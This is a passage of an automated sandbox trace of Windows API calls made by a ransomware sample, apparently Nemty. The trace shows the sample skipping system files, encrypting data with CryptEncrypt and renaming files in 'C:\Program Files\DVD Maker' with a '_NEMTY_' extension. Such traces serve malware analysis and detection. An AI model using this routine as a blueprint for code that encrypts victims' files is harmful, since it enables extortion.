[0095.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.058] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.058] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.095] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.095] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.114] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.126] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.126] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0095.126] CloseHandle (hObject=0xffffffff) returned 0 [0095.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0095.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0095.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0095.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0095.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0095.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0095.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0095.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0095.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0095.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0095.126] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png._nemty_kgobjgd_")) returned 0 [0095.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0095.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0095.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0095.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0095.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0095.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0095.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0095.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0095.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0095.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.127] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2=".") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="..") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="...") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="windows") returned -1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="rsa") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="NTDETECT.COM") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="ntldr") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="MSDOS.SYS") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="IO.SYS") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="boot.ini") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="boot.ini") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="ntuser.dat") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="desktop.ini") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="CONFIG.SYS") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="RECYCLER") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="bootmgr") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="programdata") returned 1 [0095.127] lstrcmpiW (lpString1="selection_subpicture.png", lpString2="appdata") returned 1 [0095.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="selection_subpicture.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0095.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="selection_subpicture.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="selection_subpicture.png", lpUsedDefaultChar=0x0) returned 24 [0095.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0095.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="selection_subpicture.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0095.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="selection_subpicture.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="selection_subpicture.png", lpUsedDefaultChar=0x0) returned 24 [0095.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0095.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0095.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="selection_subpicture.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0095.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0095.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="selection_subpicture.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="selection_subpicture.png", lpUsedDefaultChar=0x0) returned 24 [0095.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="selection_subpicture.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0095.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0095.128] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="selection_subpicture.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="selection_subpicture.png", lpUsedDefaultChar=0x0) returned 24 [0095.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0095.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0095.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0095.128] Sleep (dwMilliseconds=0x5) [0095.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec5b26d0, dwHighDateTime=0x1d561e7)) [0095.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xec5b26d0, dwHighDateTime=0x1d561e7)) [0095.142] GetLastError () returned 0x5 [0095.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0095.142] GetLastError () returned 0x5 [0095.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0095.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0095.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0095.142] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0095.142] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0095.143] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0095.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0095.143] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="mSS037O/iEjyIpmBV3VTX9rTLIDKgn8jHWEjXX0b0vPEzeXgBN/3OekMWTMQQPRx\r\nBfKLsEqdK+Qg+FYchCHqt/+TUqPktKAxURgW9aSy9OgYgBIzRdMiJ9DgXPRNzzXr\r\nm4emfkI/99BwcqpmZoWajX9n6yNkztOdvzgx+58uTIohCiSdE3ZZcaLAqKj0upUB\r\nsaeEuesynPoXPTkY6W5AaeQimkrC88slorZmfEPGTji6vHV0aj8R4GNXSgJyksIP\r\njRcZMikPC5ZvDN02rIaawLl9OvnYzrYS35wE2kdJZ1CzBFw2lFZS8vG9l1h1QZAY\r\nxCvMZTCTRKP5BGj7x8DyIg==\r\n", pcchString=0x653e91c) returned 1 [0095.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0095.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0095.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0095.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0095.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0095.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0095.143] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0095.143] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0095.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0095.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.143] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.169] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.179] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.179] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.179] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0095.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0095.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0095.216] SetFilePointer (in: hFile=0xffffffff, 